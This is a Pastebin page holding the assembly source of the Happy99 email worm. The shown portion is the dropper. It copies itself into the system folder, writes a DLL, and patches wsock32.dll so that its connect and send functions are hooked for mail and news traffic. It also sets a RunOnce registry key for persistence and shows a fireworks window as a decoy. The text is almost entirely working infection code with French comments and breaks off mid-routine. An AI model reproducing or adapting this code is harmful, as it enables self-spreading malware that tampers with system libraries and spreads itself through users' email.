FlyFar

Email-Worm.Win32.Happy99 - Source Code

Mar 15th, 2024 (edited)
34
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 61.84 KB | Cybersecurity | 0 0
  1. ������������������������������������������������������[Happy99_ska_exe.asm]���
  2. ;ska.exe = happy99.exe
  3. ;if you want to understand comments, learn french or use Altavista ;)
  4. ;at the very end, you can post a message for me in alt.comp.virus
  5. ;look at the readme.rtf with WordPad for some explanations
  6. ;
  7. ; created files:
  8. ;
  9. ;  wsock32.ska      clean backup of wsock32.dll
  10. ;  ska.dll      my dll
  11. ;  ska.exe      the dropper
  12. ;  Happy99.exe      the traveller
  13. ;  liste.ska        list of infected friends
  14.  
  15. ;--------------------------- (c) Spanska 1999 ---------------------------------
  16.  
  17. .386
  18. .model flat
  19.  
  20. ;*******************************************************************************************
  21. ;***                               API WINDOWS UTILISEES                                 ***
  22. ;*******************************************************************************************
  23.  
  24. extrn           ExitProcess     :PROC
  25. extrn       CreateFileA     :PROC
  26. extrn       ReadFile        :PROC
  27. extrn       WriteFile       :PROC
  28. extrn       CloseHandle     :PROC
  29. extrn       CreateFileMappingA  :PROC
  30. extrn       MapViewOfFile       :PROC
  31. extrn       UnmapViewOfFile     :PROC
  32. extrn       GetFileSize     :PROC
  33. extrn       GetModuleHandleA    :PROC
  34. extrn       GetProcAddress      :PROC
  35. extrn       GetVersionExA       :PROC
  36. extrn       GetSystemDirectoryA :PROC
  37. extrn       GetWindowsDirectoryA    :PROC
  38. extrn       CopyFileA       :PROC
  39. extrn       LocalAlloc      :PROC
  40. extrn       LocalFree       :PROC
  41. extrn       GetModuleFileNameA  :PROC
  42. extrn       RegCreateKeyExA     :PROC
  43. extrn       RegSetValueExA      :PROC
  44. extrn       RegCloseKey     :PROC
  45.  
  46. extrn       RegisterClassA      :PROC
  47. extrn       CreateWindowExA     :PROC
  48. extrn       ShowWindow      :PROC
  49. extrn       UpdateWindow        :PROC
  50. extrn       PeekMessageA        :PROC
  51. extrn       SetPixelV       :PROC
  52. extrn       TranslateMessage    :PROC
  53. extrn       DispatchMessageA    :PROC
  54. extrn       DefWindowProcA      :PROC
  55. extrn       GetDC           :PROC
  56. extrn       ReleaseDC       :PROC
  57. extrn       PostQuitMessage     :PROC
  58.  
  59. .data
  60.  
  61. ;*******************************************************************************************
  62. ;***                                       DATAS                                         ***
  63. ;*******************************************************************************************
  64.  
  65. ;============================= madll.dll compress�e et crypt�e =============================
  66.  
  67. include madll.inc
  68.  
  69. ;================================== quelques noms crypt�s ==================================
  70.  
  71. signature   dd not "i sI", not " a t", not "uriv", not "a ,s", not "row ", not "a ,m"
  72.         dd not "ort ", not "?naj", not "UOM ", not "OM-T", not "H TU", not "irby"
  73.         dd not "c( d", not "pS )", not "ksna", not "91 a", not 0+".99"
  74.  
  75.         ;db "Is it a virus, a worm, a trojan? MOUT-MOUT Hybrid (c) Spanska 1999"
  76.  
  77. wsock_name      dd not "osw\"           ;db "\wsock32.dll",0
  78.             dd not "23kc"
  79.             dd not "lld."
  80.             db not 0
  81. wsock_name_size     equ $-offset wsock_name
  82.  
  83. ma_dll_name     dd not "akS\"           ;db "\Ska.dll",0
  84.             dd not "lld."
  85.             db not 0
  86. ma_dll_name_size    equ $-offset ma_dll_name
  87.  
  88. dropper_name        dd not "akS\"           ;db "\Ska.exe",0
  89.             dd not "exe."
  90.             db not 0
  91. dropper_name_size   equ $-offset dropper_name
  92.  
  93. sub_key_name        dd not "tfoS"
  94.             dd not "eraw"
  95.             dd not "ciM\"
  96.             dd not "osor"           ;db "Software\Microsoft\Windows\
  97.             dd not "W\tf"           ;db "CurrentVersion\RunOnce",0
  98.             dd not "odni"
  99.             dd not "C\sw"
  100.             dd not "erru"
  101.             dd not "eVtn"
  102.             dd not "oisr"
  103.             dd not "uR\n"
  104.             dd not "cnOn"
  105.             dw not 0+"e"
  106.  
  107. ;====================================== divers ======================================
  108.  
  109. wsock_handle        dd ?
  110. filehandlestock     dd ?
  111. filemappinghandle   dd ?
  112. startoffilemapping  dd ?
  113. sizeofmappedfile    dd ?
  114.  
  115. startofPEheader     dd ?
  116. nbofsection     dw ?
  117. szoptheader     dw ?
  118. diff            dd ?
  119. cdiff           dd ?
  120. idiff           dd ?
  121. addoffunctions      dd ?
  122. addofnames      dd ?        ;ne pas s�parer ces trois
  123. addofordinals       dd ?
  124. rvaendofcode        dd ?
  125. rvaoriginale_1      dd ?
  126. rvaoriginale_2      dd ?
  127. startofcodeheader   dd ?
  128. verif           dd ?
  129.  
  130. krnl32ofs       dd ?
  131. krnl32name      db "KERNEL32.dll",0
  132. llname          db "LoadLibraryA",0
  133. flname          db "FreeLibrary",0
  134. gpaname         db "GetProcAddress",0
  135.  
  136. llofs           dd ?
  137. flofs           dd ?
  138. gpaofs          dd ?
  139.  
  140. writebuffer     dd ?        ;writebuffer
  141. system_dir      dd ?        ;writebuffer+28000  ;ne pas s�parer!
  142. dropper_dir     dd ?        ;writebuffer+28200
  143. system_dir_size     dd ?
  144. NbBytesWritten      dd ?
  145. ma_dll_handle       dd ?
  146. NumberOfBytesRead   dd ?
  147. key_handle      dd ?
  148. patch_size      equ offset endpatch-offset startpatch
  149.  
  150. ;============================ pour l'effet graphique ===========================
  151.  
  152. wndclass:
  153.         clsStyle          dd 4003h  ; class style
  154.         clsLpfnWndProc    dd ?
  155.         clsCbClsExtra     dd 0
  156.         clsCbWndExtra     dd 0
  157.         clsHInstance      dd ?      ; instance handle
  158.         clsHIcon          dd 0      ; class icon handle
  159.         clsHCursor        dd 0      ; class cursor handle
  160.         clsHbrBackground  dd 7      ; class background brush
  161.         clsLpszMenuName   dd 0      ; menu name
  162.         clsLpszClassName  dd ?      ; far ptr to class name
  163.  
  164. msg:
  165.     msHWND          dd ?
  166.     msMESSAGE       dd ?
  167.     msWPARAM        dd ?
  168.     msLPARAM        dd ?
  169.     msTIME          dd ?
  170.     msPT            dd ?
  171.     protege dd ?
  172.  
  173. nb_explosions       dd 0
  174. compteur        dd 0
  175. yy          dd ?
  176. xx          dd ?
  177. seed            dd 0FFAABB11h
  178. theDC           dd ?
  179. nom_fenetre     db "Happy New Year 1999 !!",0
  180. handle          dd ?
  181. handle_wd       dd ?
  182. adresse_retour      dd ?
  183. pas_d_effet_graphique   dd ?
  184.  
  185. .code
  186.  
  187. HOST:
  188.  
  189. ;*******************************************************************************************
  190. ;***                             SE RESERVER DE LA MEMOIRE                               ***
  191. ;*******************************************************************************************
  192.  
  193. push 1024*30        ;number of bytes to allocate
  194. push LARGE 40h      ;allocation attributes (40h=LMEM_ZEROINIT)
  195. call LocalAlloc
  196. test eax, eax
  197. jz stop
  198. push eax
  199.  
  200. mov edi, offset writebuffer
  201. stosd
  202. add eax, 28000
  203. stosd
  204. add eax, 200
  205. stosd
  206.  
  207. ;*******************************************************************************************
  208. ;***                     VERIFIER QU'ON EST PAS SOUS W3.1                                ***
  209. ;*******************************************************************************************
  210.  
  211. ;-------- quelle version de Windows?
  212.  
  213. pop eax
  214. push eax
  215. push eax
  216. push eax
  217. pop edi
  218. mov eax, 148
  219. stosd
  220. call GetVersionExA
  221. pop esi
  222. add esi, 16
  223. lodsd
  224. cmp eax, 0          ;win32s=0, win32=1, WinNT=2
  225. je stop
  226.  
  227. ;*******************************************************************************************
  228. ;***                   COPIER LE DROPPER DANS C:\WINDOWS\SYSTEM                          ***
  229. ;*******************************************************************************************
  230.  
  231. ;----- d�crypter les datas
  232.  
  233. mov esi, offset signature
  234. push esi
  235. pop edi
  236. mov ecx, offset wsock_handle - offset signature
  237. decrypte:
  238. lodsb
  239. not al
  240. stosb
  241. loop decrypte
  242.  
  243. ;----- recup�rer le directory syst�me
  244.  
  245. push 200
  246. push system_dir
  247. call GetSystemDirectoryA        ;g�n�ralement C:\WINDOWS\SYSTEM
  248. test eax, eax
  249. jz stop2
  250. mov system_dir_size, eax
  251.  
  252. ;----- faire une copie du dropper dans C:\WINDOWS\SYSTEM
  253.  
  254. push 200
  255. push dropper_dir
  256. push 0
  257. call GetModuleFileNameA         ;r�cup�rer son path actuel
  258. test eax, eax
  259. jz stop2
  260.  
  261. mov esi, dropper_dir            ;si jamais le prog est "Ska"
  262. add esi, eax                ;et pas "Happy1999", se souvenir
  263. sub esi, 5              ;de ne pas d�clencher l'effet
  264. lodsb                   ;parce qu'il y a des chances
  265. and al, 0DFh                ;que ce soit au boot
  266. cmp al, "A"
  267. jne c_pas_ska
  268. mov pas_d_effet_graphique, -1
  269.  
  270. c_pas_ska:
  271. mov esi, offset dropper_name
  272. mov edi, system_dir
  273. add edi, system_dir_size
  274. mov ecx, dropper_name_size
  275. rep movsb               ;concatenate "C:\WINDOWS\SYSTEM" et "DROP.EXE"
  276.  
  277. push 1                  ;si d�j� pr�sent, erreur
  278. push system_dir
  279. push dropper_dir
  280. call CopyFileA              ;pas de test d'erreur car si on est au boot,
  281.                     ;cet abruti se copie sur lui-m�me
  282.  
  283. ;*******************************************************************************************
  284. ;***                      CREER MA DLL DANS C:\WINDOWS\SYSTEM                            ***
  285. ;*******************************************************************************************
  286.  
  287. ;-------- d�compresser et cr��r madll.dll dans C:\WINDOWS\SYSTEM
  288.  
  289. mov esi, offset A
  290. mov edi, writebuffer
  291.  
  292. loop_decompresse:
  293. lodsd
  294. cmp eax, " DNE"
  295. je fin_decompresse
  296. cmp eax, "OREZ"
  297. je suite_de_zero_a_decompresser
  298. not eax
  299. stosd
  300. jmp loop_decompresse
  301.  
  302. suite_de_zero_a_decompresser:
  303. lodsd
  304. mov ecx, eax
  305. xor eax, eax
  306. rep stosd
  307. jmp loop_decompresse
  308.  
  309. fin_decompresse:
  310. mov ecx, edi
  311. sub ecx, writebuffer
  312. mov NbBytesWritten, ecx
  313.  
  314. mov esi, offset ma_dll_name ;concatenate "c:\windows\system" and "madll.dll"
  315. mov edi, system_dir
  316. add edi, system_dir_size
  317. mov ecx, ma_dll_name_size
  318. rep movsb
  319.  
  320. xor eax, eax
  321. push eax            ;handle of file with attributes to copy (0=Ludwig)
  322. push 80h            ;file attributes (80h=FILE_ATTRIBUTE_NORMAL)
  323. push 2              ;how to create (2=CREATE_ALWAYS)
  324. push eax            ;address of security descriptor (0=Ludwig)
  325. push eax            ;share mode (0=Prevents the file from being shared)
  326. push 40000000h          ;access (read-write) mode (40000000h=GENERIC_WRITE)
  327. push system_dir         ;address of file name
  328. call CreateFileA
  329. inc eax
  330. jz stop
  331. dec eax
  332. mov ma_dll_handle, eax
  333.  
  334. push 0              ;addr. of structure needed for overlapped I/O (0 pour normale)
  335. push offset NbBytesWritten  ;address of number of bytes written (si jamais tout n'est pas �crit)
  336. push NbBytesWritten     ;number of bytes to write
  337. push writebuffer        ;address of data to write to file
  338. push ma_dll_handle      ;handle of file to write to
  339. call WriteFile
  340. test eax, eax
  341. jz stop2
  342.  
  343. ;*******************************************************************************************
  344. ;***                    FAIRE UNE COPIE PROPRE DE WSOCK32.DLL                            ***
  345. ;*******************************************************************************************
  346.  
  347. ;------ cr��r le path entier de wsock32
  348.  
  349. mov esi, offset wsock_name
  350. mov edi, system_dir
  351. add edi, system_dir_size
  352. mov ecx, wsock_name_size
  353. rep movsb               ;concatenate "C:\WINDOWS\SYSTEM" et "WSOCK32.DLL"
  354.  
  355. ;----- en faire une copie propre (ne suis-je point gentil?)
  356.  
  357. mov esi, system_dir
  358. mov edi, dropper_dir
  359. mov ecx, system_dir_size
  360. add ecx, 13-4
  361. rep movsb
  362. mov eax, 0+"aks"
  363. stosd
  364.  
  365. push 1                  ;si d�j� pr�sent, erreur
  366. push dropper_dir
  367. push system_dir
  368. call CopyFileA
  369.  
  370. ;*******************************************************************************************
  371. ;***                    INFECTER C:\WINDOWS\SYSTEM\WSOCK32.DLL                           ***
  372. ;*******************************************************************************************
  373.  
  374. ;-------- ouvre wsock32.dll
  375.  
  376. xor eax, eax
  377. push eax        ;handle of file with attributes to copy (0=Ludwig)
  378. push 80h        ;file attributes (80h=FILE_ATTRIBUTE_NORMAL)
  379. push 3          ;how to create (3=OPEN_EXISTING)
  380. push eax        ;address of security descriptor (0=Ludwig)
  381. push eax        ;share mode (0=Prevents the file from being shared)
  382. push 0C0000000h     ;access (read-write) mode (0C0000000h=GENERIC_READ+GENERIC_WRITE)
  383. push system_dir     ;address of name of the file
  384. call CreateFileA
  385. inc eax
  386. jnz la_suite_bordel
  387.  
  388. ;------ si wsock32.dll en cours d'utilisation, le dropper s'�x�cute au prochain boot
  389.  
  390. xor eax, eax
  391. push writebuffer
  392. push offset key_handle
  393. push eax
  394. push 1F0000h+1+2+4+8+10h+20h
  395. push eax
  396. push eax
  397. push eax
  398. push offset sub_key_name
  399. push 80000002h              ;HKEY_LOCAL_MACHINE = 80000002h
  400. call RegCreateKeyExA
  401.  
  402. mov eax, dropper_name_size-1
  403. push eax
  404. mov eax, offset dropper_name
  405. inc eax
  406. push eax
  407. push 1                  ;REG_SZ=1
  408. push 0
  409. push eax
  410. push key_handle
  411. call RegSetValueExA
  412.  
  413. push key_handle
  414. call RegCloseKey
  415.  
  416. jmp stop2
  417.  
  418. la_suite_bordel:
  419. dec eax
  420. mov wsock_handle, eax
  421.  
  422. ;-------- prepare le mapping de wsock32.dll
  423.  
  424. xor eax, eax
  425. push eax        ;name of file-mapping object (0=sans nom)
  426. push eax        ;low-order 32 bits of object size  
  427. push eax        ;high-order 32 bits of object size  (0=meme taille que le fichier)
  428. push 4          ;protection for mapping object (4=PAGE_READWRITE)
  429. push eax        ;optional security attributes (0=d�faut)
  430. push wsock_handle   ;handle of file to map
  431. call CreateFileMappingA
  432. test eax, eax
  433. jz stop3
  434. mov filemappinghandle, eax
  435.  
  436. ;-------- mappe wsock32.dll
  437.  
  438. xor eax, eax
  439. push eax        ;number of bytes to map (0=en entier)
  440. push eax        ;low-order 32 bits of file offset
  441. push eax        ;high-order 32 bits of file offset (0=meme taille que le fichier?)
  442. push 6          ;access mode (6=SECTION_MAP_READ+SECTION_MAP_WRITE)
  443. push filemappinghandle  ;file-mapping object to map into address space  
  444. call MapViewOfFile
  445. test eax, eax
  446. jz stop4
  447. mov startoffilemapping, eax
  448.  
  449. ;------- verifie le MZ dans le header
  450.  
  451. mov esi, eax
  452. cmp word ptr [esi], "ZM"
  453. jne stop4
  454.  
  455. ;------- verifie si deja infecte
  456.  
  457. cmp byte ptr [esi+12h], "z"
  458. je stop4
  459. mov byte ptr [esi+12h], "z"
  460.  
  461. ;------- verifie le PE dans le header
  462.  
  463. add esi, [esi+3ch]          ;taille du stub DOS
  464. cmp word ptr [esi], "EP"
  465. jne stop4
  466. mov startofPEheader, esi
  467.  
  468. ;------- recupere quelques donnees dans le header
  469.  
  470. mov ax, [esi+6]
  471. mov nbofsection, ax         ;number of sections
  472. xor ecx, ecx
  473. mov cx, nbofsection
  474.  
  475. mov ax, [esi+20]
  476. mov szoptheader, ax         ;size of optional header
  477.  
  478. mov ebx, esi
  479. add ebx, 24
  480. xor eax, eax
  481. add ax, szoptheader
  482. add ebx, eax
  483.  
  484. ;------- trouve les sections .edata, .text, .data
  485.  
  486. ttes_les_sections:
  487. mov eax, [ebx]
  488. cmp eax, "xet."
  489. je trouve_text
  490. continue_apres_text:
  491. cmp eax, "ade."
  492. je trouve_edata
  493. continue_apres_edata:
  494. cmp eax, "tad."
  495. je trouve_data
  496. continue_apres_data:
  497. add ebx, 40         ;taille d'un section header
  498. dec ecx
  499. jnz ttes_les_sections
  500. jmp tout_trouve
  501.  
  502. ;------- recupere des donnees dans le header de la section "exported data"
  503.  
  504. trouve_edata:
  505. mov eax, [ebx+12]
  506. sub eax, [ebx+20]
  507. mov diff, eax
  508. jmp continue_apres_edata
  509.  
  510. ;------- recupere des donnees dans le header de la section "code"
  511.  
  512. trouve_text:
  513. test [ebx+36], 60000020h    ;test si c'est du code
  514. jz stop
  515. or [ebx+36], 80000000h      ;rendre la section code capable d'�tre automodifi�e
  516. mov startofcodeheader, ebx
  517. mov eax, [ebx+16]
  518. mov edi, [ebx+8]
  519. sub eax, edi
  520. cmp eax, patch_size     ;test si suffisamment de place ds section code
  521. jb stop
  522. mov eax, [ebx+12]
  523. mov edx, [ebx+20]
  524. sub eax, edx
  525. mov cdiff, eax
  526. add edx, edi
  527. mov rvaendofcode, edx
  528. jmp continue_apres_text
  529.  
  530. ;------- recupere des donnees dans le header de la section "imported data"
  531.  
  532. trouve_data:
  533. mov eax, [ebx+12]
  534. sub eax, [ebx+20]
  535. mov idiff, eax
  536. jmp continue_apres_data
  537.  
  538. ;---------- se pr�parer � scanner la table des fonctions export�es
  539.  
  540. tout_trouve:
  541.  
  542. mov edi, offset addoffunctions
  543. mov edx, diff
  544. mov ebx,[esi+120]
  545. mov esi, startoffilemapping         ; get export table RVA
  546. sub ebx, edx
  547. add ebx, esi
  548.  
  549. mov eax, [ebx+28]
  550. sub eax, edx
  551. add eax, esi
  552. stosd                       ;addoffunctions
  553. mov eax, [ebx+32]
  554. sub eax, edx
  555. add eax, esi
  556. stosd                       ;addofnames
  557. mov eax, [ebx+36]
  558. sub eax, edx
  559. add eax, esi
  560. stosd                       ;addofordinals
  561.  
  562. mov ecx,[ebx+24]                          ; get number of name ptrs
  563. xor edx,edx                               ; edx is our ordinal counter
  564. mov esi, addofnames
  565.  
  566. ;trouve le point d'entr�e des fc export�es (connect, send) dans l'image mapp�e de Wsock32.dll
  567.  
  568. mov verif, 0            ;pour v�rifier qu'on a bien trouv� les 2 fonctions
  569. cherche_API:
  570. mov ebx, [esi]
  571. sub ebx, diff
  572. add ebx, startoffilemapping
  573. mov eax, [ebx]
  574. cmp eax, "nnoc"
  575. je trouve_API_1
  576. cmp eax, "dnes"
  577. je trouve_API_2
  578. fausse_alerte:
  579. inc edx
  580. add esi, 4
  581. dec ecx
  582. jnz cherche_API
  583. cmp verif, 2            ;on en cherche 2
  584. jne stop
  585. jmp suite
  586.  
  587. ;-------- on a trouv� "connect"
  588.  
  589. trouve_API_1:
  590. add ebx, 4
  591. mov eax, [ebx]
  592. cmp eax, 0+"tce"
  593. jne fausse_alerte
  594.  
  595. push edx
  596. push esi
  597.  
  598. mov ebx, addofordinals
  599. shl edx, 1
  600. add ebx, edx
  601.  
  602. xor eax, eax
  603. mov ax, word ptr [ebx]
  604.  
  605. mov esi, addoffunctions
  606. shl eax, 2
  607. add esi, eax
  608.  
  609. mov eax, [esi]              ;dans eax: RVA de connect
  610. mov rvaoriginale_1, eax
  611.  
  612. mov eax, rvaendofcode
  613. add eax, cdiff
  614. add eax, (offset redirect_to_my_connect - offset startpatch)
  615. mov [esi], eax              ;changer le point d'entree de la fonction
  616.  
  617. inc verif               ;une fc trouv�e de plus
  618. pop esi
  619. pop edx
  620. jmp fausse_alerte
  621.  
  622. ;-------- on a trouv� send
  623.  
  624. trouve_API_2:
  625. add ebx, 4
  626. mov al, byte ptr [ebx]
  627. cmp al, 0
  628. jne fausse_alerte
  629.  
  630. push edx
  631. push esi
  632.  
  633. mov ebx, addofordinals
  634. shl edx, 1
  635. add ebx, edx
  636.  
  637. xor eax, eax
  638. mov ax, word ptr [ebx]
  639.  
  640. mov esi, addoffunctions
  641. shl eax, 2
  642. add esi, eax
  643.  
  644. mov eax, [esi]              ;dans eax: RVA de send
  645. mov rvaoriginale_2, eax
  646.  
  647. mov eax, rvaendofcode
  648. add eax, cdiff
  649. add eax, (offset redirect_to_my_send - offset startpatch)
  650. mov [esi], eax              ;changer le point d'entree de la fonction
  651.  
  652. inc verif               ;une fc trouv�e de plus
  653. pop esi
  654. pop edx
  655. jmp fausse_alerte
  656.  
  657. suite:
  658.  
  659. mov esi, startofcodeheader
  660. add dword ptr [esi+8], patch_size   ;changer dans le header la taille du code total
  661.  
  662. ;------- cherche l'offset-handle du kernel32
  663.  
  664. push offset krnl32name
  665. call GetModuleHandleA
  666. test eax, eax
  667. jz stop4
  668. mov krnl32ofs, eax
  669.  
  670. ;------- cherche l'adresse de l'API LoadLibrary qu'on appelera dans le patch
  671. ;(mieux vaut aller direct dans le Kernel)
  672.  
  673. push offset llname
  674. push krnl32ofs
  675. call GetProcAddress
  676. test eax, eax
  677. jz stop4
  678. mov llofs, eax
  679.  
  680. ;------- cherche l'adresse de l'API FreeLibrary qu'on appelera dans le patch
  681. ;(mieux vaut aller direct dans le Kernel)
  682.  
  683. push offset flname
  684. push krnl32ofs
  685. call GetProcAddress
  686. test eax, eax
  687. jz stop4
  688. mov flofs, eax
  689.  
  690. ;------- cherche l'adresse de l'API GetProcAddress qu'on appelera dans le patch
  691. ;(mieux vaut aller direct dans le Kernel)
  692.  
  693. push offset gpaname
  694. push krnl32ofs
  695. call GetProcAddress
  696. test eax, eax
  697. jz stop4
  698. mov gpaofs, eax
  699.  
  700. ;------- installer le patch
  701.  
  702. mov edi, rvaendofcode
  703. add edi, startoffilemapping
  704. call endpatch
  705.    
  706.     ;********************** CODE INSERE DANS WSOCK32.DLL **********************
  707.  
  708.     startpatch:
  709.  
  710.     ;===============> point d'entr�e de la nouvelle connect <======================
  711.  
  712.     redirect_to_my_connect:
  713.     pushfd
  714.     pushad
  715.  
  716.     ;----- chope delta offset
  717.  
  718.     call delta1
  719.     delta1: pop edi
  720.     add edi, offset no_socket_mail-offset delta1
  721.  
  722.     ;----- v�rifier si c'est une session mail ou news
  723.  
  724.     mov ebx, [esp+32+4+4+4]     ;32=pushad/4=pushfd/4=call/4=no de socket
  725.     mov byte ptr al, [ebx+3]    ;le port dans al
  726.     cmp al, 25          ;connection mail?
  727.     jne teste_119
  728.     mov eax, [esp+32+4+4]       ;no de socket
  729.     stosb               ;stocke le no de socket connect�e au port 25
  730.                     ;(dans no_socket_mail)
  731.     inc edi             ;edi pointe maintenant sur handle_madll
  732.     jmp la_suite
  733.     teste_119:
  734.     cmp al, 119         ;connection news?
  735.     jne retour_a_connect        ;non=>on revient au send original
  736.     inc edi             ;edi pointe maintenant vers no_socket_news
  737.     mov eax, [esp+32+4+4]       ;no de socket
  738.     stosb               ;stocke le no de socket connect�e au port 119
  739.                     ;(dans no_socket_news)
  740.    
  741.     ;------ on charge ma librairie (LoadLibrary)
  742.  
  743.     la_suite:
  744.     call ici_offset_de_ll           ;pour avoir "madll.dll" sur le stack
  745.     db "Ska.dll",0
  746.     ici_offset_de_ll:
  747.     mov eax, -1             ;!!!transform� au moment de l'infection!!!!!
  748.     call eax                ;call LoadLibrary
  749.     stosd                   ;sauver le handle de ma librairie
  750.  
  751.     ;------ et on se casse
  752.  
  753.     retour_a_connect:
  754.     popad
  755.     popfd
  756.     ici_retour_relatif_a_connect:
  757.     db 0E9h,0,0,0,0             ;!!!transform� au moment de l'infection!!!!!
  758.  
  759.     ;================> point d'entr�e de la nouvelle send <============================
  760.  
  761.     redirect_to_my_send:
  762.     pushfd
  763.     pushad
  764.  
  765.     ;----- chope delta offset
  766.  
  767.     call delta2
  768.     delta2: pop esi
  769.     add esi, offset no_socket_mail-offset delta2
  770.  
  771.     ;----- on v�rifie le numero de socket
  772.  
  773.     lodsw                   ;no_socket_mail = al, no_socket_news = ah
  774.     mov ebx, [esp+32+4+4]           ;no de socket de la session actuelle
  775.     cmp ah, bl              ;la socket actuelle est li�e au port 119?
  776.     je send_port_nntp           ;oui => on va ds la dll, routine "news"
  777.     cmp al, bl              ;la socket actuelle est li�e au port 25?
  778.     je send_port_smtp           ;oui => on va ds la dll, routine "mail"
  779.  
  780.     jmp retour_a_send           ;socket actuelle li�e � autre port, on revient
  781.  
  782.     ;------ r�cup�rer l'offset de ma fonction (GetProcAddress)
  783.  
  784.     send_port_smtp:
  785.     call zz_getprocad1          ;pour avoir "mail" sur le stack
  786.     db "mail",0
  787.  
  788.     send_port_nntp:
  789.     call zz_getprocad1          ;pour avoir "news" sur le stack
  790.     db "news",0
  791.  
  792.     zz_getprocad1:
  793.     lodsd                   ;r�cup du handle de ma librairie
  794.     push eax                ;handle de ma librairie
  795.     ici_offset_de_gpa:
  796.     mov eax, -1             ;!!!transform� au moment de l'infection!!!!
  797.     call eax                ;call GetProcAddress
  798.     test eax, eax               ;probleme?
  799.     jz retour_a_send            ;oui => on se casse
  800.  
  801.     ;------ appeler ma fonction avant send
  802.  
  803.     call eax                ;call MaFonction dans ma dll
  804.     cmp al, 1               ;si en retour al=1, on ne d�charge pas ma dll
  805.     je retour_a_send            ;mais on revient simplement au send original
  806.     xchg ax, bx             ;dans bl on a "N" ou "M"
  807.  
  808.     ;------ ma fonction a fini son travail?
  809.  
  810.     call delta3
  811.     delta3: pop esi
  812.     add esi, offset no_socket_mail-offset delta3    ;esi pointe vers no_socket_mail
  813.  
  814.     push esi
  815.     pop edi                 ;edi aussi
  816.     xor eax, eax
  817.  
  818.     cmp bl, "N"             ;une session news a foir�?
  819.     jne autre               ;non => teste si c'est du mail
  820.     inc edi                 ;edi pointe vers no_socket_news
  821.     stosb                   ;on annule le hook de send_news
  822.     lodsb                   ;et on regarde si send_mail est toujours hook�
  823.     cmp al, 0
  824.     jne retour_a_send           ;send_mail est toujours hook� => on revient
  825.     inc esi                 ;esi pointe vers handle_madll
  826.     jmp unload_dll              ;send_mail n'est pas hook� non plus
  827.                         ;=> on d�charge ma dll (facon de parler)
  828.  
  829.     autre:
  830.     cmp bl, "M"             ;une session mail a foir�?
  831.     jne retour_a_send           ;non => on revient
  832.     stosb                   ;on annule le hook de send_mail
  833.     inc edi                 ;edi pointe vers handle_madll
  834.     inc esi                 ;esi pointe vers no_socket_news
  835.     lodsb                   ;on regarde si send_news est toujours hook�
  836.     cmp al, 0
  837.     jne retour_a_send           ;send_news est toujours hook� => on revient
  838.  
  839.     ;------ si oui, on d�charge ma librairie
  840.  
  841.     unload_dll:
  842.     lodsd                   ;handle de ma dll dans eax
  843.     push eax
  844.     ici_offset_de_fl:
  845.     mov eax, -1             ;!!!transform� au moment de l'infection!!!!!
  846.     call eax                ;call FreeLibrary
  847.  
  848.     ;----- on revient au send original
  849.  
  850.     retour_a_send:
  851.     popad
  852.     popfd
  853.     ici_retour_relatif_a_send:
  854.     db 0E9h,0,0,0,0             ;!!!transform� au moment de l'infection!!!!!
  855.  
  856.     no_socket_mail:     db 0
  857.     no_socket_news:     db 0        ;ne pas s�parer ces trois enfoir�s
  858.     handle_madll:       dd 0
  859.    
  860.     endpatch:
  861.  
  862.     ;***************************** FIN DU CODE INSERE ******************
  863.  
  864.  
  865. ;------ �crire le code dans l'image mapp�e
  866.  
  867. pop esi
  868. mov ecx, offset endpatch-offset startpatch
  869. rep movsb
  870.  
  871. ;------ �crire les bonnes r�f�rences aux 3 API du kernel
  872.  
  873. mov eax, llofs
  874. mov [edi-(offset endpatch-offset ici_offset_de_ll)+1], eax
  875. mov eax, gpaofs
  876. mov [edi-(offset endpatch-offset ici_offset_de_gpa)+1], eax
  877. mov eax, flofs
  878. mov [edi-(offset endpatch-offset ici_offset_de_fl)+1], eax
  879.  
  880. ;----- �crire les bons sauts de retour
  881.  
  882. mov edx, cdiff
  883. mov eax, rvaendofcode
  884. add eax, edx
  885. add eax, (offset ici_retour_relatif_a_connect- offset startpatch)+4
  886. sub eax, rvaoriginale_1
  887. not eax
  888. mov [edi-(offset endpatch-offset ici_retour_relatif_a_connect)+1], eax
  889.  
  890. mov eax, rvaendofcode
  891. add eax, edx
  892. add eax, (offset ici_retour_relatif_a_send- offset startpatch)+4
  893. sub eax, rvaoriginale_2
  894. not eax
  895. mov [edi-(offset endpatch-offset ici_retour_relatif_a_send)+1], eax
  896.  
  897. stop5:
  898. push startoffilemapping
  899. call UnmapViewOfFile
  900.  
  901. stop4:
  902. push filemappinghandle
  903. call CloseHandle
  904.  
  905. stop3:
  906. push wsock_handle
  907. call CloseHandle
  908.  
  909. stop2:
  910. push writebuffer
  911. call LocalFree
  912.  
  913. stop:
  914. cmp pas_d_effet_graphique, 0
  915. je effet_graphique
  916.  
  917. push LARGE -1
  918. call ExitProcess             ;this simply terminates the program
  919.  
  920. ;*******************************************************************************************
  921. ;***                                 EFFET GRAPHIQUE                                     ***
  922. ;*******************************************************************************************
  923.  
  924. effet_graphique:
  925. nombre_explosion_maxi equ 16
  926.  
  927. ;----- se r�server de la m�moire
  928.  
  929. push (32*257)*nombre_explosion_maxi     ;number of bytes to allocate
  930. push LARGE 40h                  ;allocation attributes (40h=LMEM_ZEROINIT)
  931. call LocalAlloc
  932. mov writebuffer, eax
  933.  
  934. ;----- enregistrer la wndclass
  935.  
  936. push 0
  937. call GetModuleHandleA
  938. mov handle, eax
  939.  
  940. mov clsHInstance, eax
  941. mov eax, offset wndproc
  942. mov clsLpfnWndProc, eax
  943. mov clsLpszClassName, offset nom_fenetre
  944.  
  945. push offset wndclass
  946. call RegisterClassA
  947.  
  948. ;----- creer la fenetre
  949.  
  950. xor eax, eax
  951. push eax
  952. push handle
  953. push eax
  954. push eax
  955. push 512            ;hauteur
  956. push 256            ;largeur
  957. push 100            ;y
  958. push 100            ;x
  959. push 00080000h+00040000h
  960. push offset nom_fenetre
  961. push offset nom_fenetre
  962. push eax                ;extra style
  963. call CreateWindowExA
  964. mov handle_wd, eax
  965.  
  966. push 1
  967. push handle_wd
  968. call ShowWindow
  969.  
  970. push handle_wd
  971. call UpdateWindow
  972.  
  973. push handle_wd
  974. call GetDC
  975. mov theDC, eax
  976.  
  977. ;----- le message loop
  978.  
  979. msg_loop:
  980. xor eax, eax
  981. push 1
  982. push eax
  983. push eax
  984. push eax
  985. push offset msg
  986. call PeekMessageA
  987. test eax, eax
  988. jnz process_messages
  989.  
  990. ;-------- dessiner tous les points
  991.  
  992. mov eax, compteur
  993. and eax, nombre_explosion_maxi-1
  994. mov compteur, eax
  995. cmp eax, 0
  996. jz ini_explosion
  997.  
  998. la_suite@:
  999.  
